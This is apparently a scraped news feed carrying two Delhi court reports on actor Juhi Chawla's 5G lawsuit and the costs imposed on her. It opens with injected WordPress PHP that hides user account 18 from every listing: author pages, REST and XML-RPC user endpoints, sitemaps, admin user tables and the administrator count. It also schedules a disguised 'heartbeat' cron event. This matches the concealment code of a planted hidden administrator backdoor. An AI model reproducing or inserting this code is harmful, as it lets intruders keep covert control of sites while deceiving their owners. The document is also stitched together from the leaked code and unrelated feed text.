add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Delhi High Court grants a week to Juhi Chawla to deposit Rs 20 lakh appeared first on The Edge Media.
]]>“The court is shocked at the conduct of the plaintiffs,” Justice J R Midha said as he observed that Chawla and others were “not even willing to gracefully deposit the costs”.
The judge was hearing three applications moved by the actor for refund of court fees, waiver of costs and replacing the word “dismissed” in the judgement with “rejected”.
The court’s reaction came after Chawla’s counsel, Senior Advocate Meet Malhotra’s, after withdrawing the application for waiver of costs, said that costs would either be deposited in a week or ten days, or legal remedies against the same would be taken.
“On one hand you move frivolous application and on the other hand, you withdraw the application and plaintiffs are not even willing to gracefully deposit the costs,” the court said.
The court stated that it, in fact, took a lenient view when it imposed costs of Rs 20 lakh on Chawla and others and did not initiate contempt proceedings.
The post Delhi High Court grants a week to Juhi Chawla to deposit Rs 20 lakh appeared first on The Edge Media.
]]>The post Juhi Chawla explained why she filed petition appeared first on The Edge Media.
]]>Taking to Instagram, Juhi in a video message said that amid the noise of the last few days, an important message was lost. She said in her message, in Hindi and English, “Hello. In the last few days, there was so much noise that I couldn’t even listen to myself. Amid the noise, I felt that a very important message was probably lost. And that was, we’re not against 5G. In fact we’re welcoming of it. Please do bring it
Juhi added, “All we’re asking is the authorities certify 5G safe. We’re saying that please certify, please publish your studies and research on this in the public domain so that our fear is allayed. So that all of us can sleep peacefully. We just want to know that it is safe for children, for pregnant women, for unborn children, for people who are old, infirm, for flora, fauna… that is all we are asking.” She didn’t caption her post but wrote “hear” followed by a thumbs-up emoji
The lawsuit by Juhi Chawla, Veeresh Malik and Teena Vachani said if the telecom industry’s plans for 5G became a reality, it would cause irreversible damage to the environment and “no person, animal, bird, insect and plant on earth will be able to avoid exposure, 24 hours a day, 365 days a year, to radiation 10x to 100x times greater than what exists today.”
The post Juhi Chawla explained why she filed petition appeared first on The Edge Media.
]]>